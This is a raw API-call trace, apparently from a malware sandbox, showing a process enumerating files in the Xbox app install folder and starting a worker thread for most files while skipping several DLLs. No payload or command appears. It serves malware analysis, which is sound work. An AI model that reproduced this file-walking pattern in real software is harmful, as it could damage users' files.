	[0089.979] wcscat (in: _Dest=0x4e326e0, _Source="fb_blank_profile_portrait.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\fb_blank_profile_portrait.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\fb_blank_profile_portrait.png"
	[0089.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e326e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e4
	[0089.979] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bc822f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72c146e6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72c146e6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gamerpics.dll", cAlternateFileName="")) returned 1
	[0089.979] wcscmp (_String1="Gamerpics.dll", _String2=".") returned 1
	[0089.979] wcscmp (_String1="Gamerpics.dll", _String2="..") returned 1
	[0089.979] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c146e6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72c3a93f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72c3a93f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gamerpics.winmd", cAlternateFileName="")) returned 1
	[0089.979] wcscmp (_String1="Gamerpics.winmd", _String2=".") returned 1
	[0089.979] wcscmp (_String1="Gamerpics.winmd", _String2="..") returned 1
	[0089.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4924ed8
	[0089.979] wcscpy (in: _Dest=0x4924ed8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.979] wcscat (in: _Dest=0x4924ed8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.979] wcscat (in: _Dest=0x4924ed8, _Source="Gamerpics.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Gamerpics.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Gamerpics.winmd"
	[0089.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4924ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e8
	[0089.980] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c3a93f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72c3a93f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72c3a93f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.xbf", cAlternateFileName="")) returned 1
	[0089.980] wcscmp (_String1="Generic.xbf", _String2=".") returned 1
	[0089.980] wcscmp (_String1="Generic.xbf", _String2="..") returned 1
	[0089.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c660
	[0089.980] wcscpy (in: _Dest=0x4f2c660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.980] wcscat (in: _Dest=0x4f2c660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.980] wcscat (in: _Dest=0x4f2c660, _Source="Generic.xbf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Generic.xbf") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Generic.xbf"
	[0089.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2c660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20ec
	[0089.981] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4b15022, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb42aefde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.981] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.981] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eaad8
	[0089.981] wcscpy (in: _Dest=0x47eaad8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.981] wcscat (in: _Dest=0x47eaad8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.981] wcscat (in: _Dest=0x47eaad8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47eaad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f0
	[0089.982] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c3a93f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72c60b9d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72c60b9d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x44200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Xbox.NetworkTroubleshooter.dll", cAlternateFileName="")) returned 1
	[0089.982] wcscmp (_String1="Microsoft.Xbox.NetworkTroubleshooter.dll", _String2=".") returned 1
	[0089.982] wcscmp (_String1="Microsoft.Xbox.NetworkTroubleshooter.dll", _String2="..") returned 1
	[0089.982] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c60b9d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72c86df6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72c86df6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Xbox.NetworkTroubleshooter.winmd", cAlternateFileName="")) returned 1
	[0089.982] wcscmp (_String1="Microsoft.Xbox.NetworkTroubleshooter.winmd", _String2=".") returned 1
	[0089.982] wcscmp (_String1="Microsoft.Xbox.NetworkTroubleshooter.winmd", _String2="..") returned 1
	[0089.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4777d60
	[0089.982] wcscpy (in: _Dest=0x4777d60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.982] wcscat (in: _Dest=0x4777d60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.982] wcscat (in: _Dest=0x4777d60, _Source="Microsoft.Xbox.NetworkTroubleshooter.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Microsoft.Xbox.NetworkTroubleshooter.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Microsoft.Xbox.NetworkTroubleshooter.winmd"
	[0089.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f4
	[0089.983] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72cad059, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb430cdb6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x72cd32ad, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Xbox.SmartGlass.Controls", cAlternateFileName="MICROS~1.CON")) returned 1
	[0089.983] wcscmp (_String1="Microsoft.Xbox.SmartGlass.Controls", _String2=".") returned 1
	[0089.983] wcscmp (_String1="Microsoft.Xbox.SmartGlass.Controls", _String2="..") returned 1
	[0089.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ebbb8
	[0089.983] wcscpy (in: _Dest=0x47ebbb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.983] wcscat (in: _Dest=0x47ebbb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.983] wcscat (in: _Dest=0x47ebbb8, _Source="Microsoft.Xbox.SmartGlass.Controls" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Microsoft.Xbox.SmartGlass.Controls") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Microsoft.Xbox.SmartGlass.Controls"
	[0089.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ebbb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f8
	[0089.984] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c86df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72cad059, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72cad059, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x22c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Xbox.SmartGlass.Controls.winmd", cAlternateFileName="")) returned 1
	[0089.984] wcscmp (_String1="Microsoft.Xbox.SmartGlass.Controls.winmd", _String2=".") returned 1
	[0089.984] wcscmp (_String1="Microsoft.Xbox.SmartGlass.Controls.winmd", _String2="..") returned 1
	[0089.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4777260
	[0089.984] wcscpy (in: _Dest=0x4777260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.984] wcscat (in: _Dest=0x4777260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.984] wcscat (in: _Dest=0x4777260, _Source="Microsoft.Xbox.SmartGlass.Controls.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Microsoft.Xbox.SmartGlass.Controls.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Microsoft.Xbox.SmartGlass.Controls.winmd"
	[0089.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20fc
	[0089.985] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cd32ad, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72e2a7e3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72e2a7e3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3dc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Xbox.SmartGlass.dll", cAlternateFileName="")) returned 1
	[0089.985] wcscmp (_String1="Microsoft.Xbox.SmartGlass.dll", _String2=".") returned 1
	[0089.985] wcscmp (_String1="Microsoft.Xbox.SmartGlass.dll", _String2="..") returned 1
	[0089.985] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e2a7e3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72e50a3d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72e50a3d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Xbox.SmartGlass.winmd", cAlternateFileName="")) returned 1
	[0089.985] wcscmp (_String1="Microsoft.Xbox.SmartGlass.winmd", _String2=".") returned 1
	[0089.985] wcscmp (_String1="Microsoft.Xbox.SmartGlass.winmd", _String2="..") returned 1
	[0089.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32510
	[0089.985] wcscpy (in: _Dest=0x4e32510, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.985] wcscat (in: _Dest=0x4e32510, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.985] wcscat (in: _Dest=0x4e32510, _Source="Microsoft.Xbox.SmartGlass.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Microsoft.Xbox.SmartGlass.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Microsoft.Xbox.SmartGlass.winmd"
	[0089.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e32510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2100
	[0089.986] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e50a3d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72e50a3d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72e50a3d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x971, dwReserved0=0x0, dwReserved1=0x0, cFileName="networkmanifest.xml", cAlternateFileName="")) returned 1
	[0089.986] wcscmp (_String1="networkmanifest.xml", _String2=".") returned 1
	[0089.986] wcscmp (_String1="networkmanifest.xml", _String2="..") returned 1
	[0089.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e9770
	[0089.986] wcscpy (in: _Dest=0x47e9770, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.986] wcscat (in: _Dest=0x47e9770, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.986] wcscat (in: _Dest=0x47e9770, _Source="networkmanifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\networkmanifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\networkmanifest.xml"
	[0089.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e9770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2104
	[0089.987] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e50a3d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x733799b2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x733799b2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x113800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartyChat.dll", cAlternateFileName="")) returned 1
	[0089.987] wcscmp (_String1="PartyChat.dll", _String2=".") returned 1
	[0089.987] wcscmp (_String1="PartyChat.dll", _String2="..") returned 1
	[0089.987] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x733799b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7339fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7339fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartyChat.winmd", cAlternateFileName="")) returned 1
	[0089.987] wcscmp (_String1="PartyChat.winmd", _String2=".") returned 1
	[0089.987] wcscmp (_String1="PartyChat.winmd", _String2="..") returned 1
	[0089.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4925db0
	[0089.987] wcscpy (in: _Dest=0x4925db0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.987] wcscat (in: _Dest=0x4925db0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.987] wcscat (in: _Dest=0x4925db0, _Source="PartyChat.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\PartyChat.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\PartyChat.winmd"
	[0089.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4925db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2108
	[0089.987] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x733c5e69, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7343857a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7343857a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x57600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRNDMediaSource.dll", cAlternateFileName="")) returned 1
	[0089.988] wcscmp (_String1="PRNDMediaSource.dll", _String2=".") returned 1
	[0089.988] wcscmp (_String1="PRNDMediaSource.dll", _String2="..") returned 1
	[0089.988] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7343857a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7343857a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7343857a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRNDMediaSource.winmd", cAlternateFileName="")) returned 1
	[0089.988] wcscmp (_String1="PRNDMediaSource.winmd", _String2=".") returned 1
	[0089.988] wcscmp (_String1="PRNDMediaSource.winmd", _String2="..") returned 1
	[0089.988] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477d6e8
	[0089.988] wcscpy (in: _Dest=0x477d6e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.988] wcscat (in: _Dest=0x477d6e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.988] wcscat (in: _Dest=0x477d6e8, _Source="PRNDMediaSource.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\PRNDMediaSource.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\PRNDMediaSource.winmd"
	[0089.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210c
	[0089.988] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7343857a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7354ad31, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7354ad31, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x183de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.994] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.994] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925f40
	[0089.994] wcscpy (in: _Dest=0x4925f40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.994] wcscat (in: _Dest=0x4925f40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.994] wcscat (in: _Dest=0x4925f40, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\resources.pri"
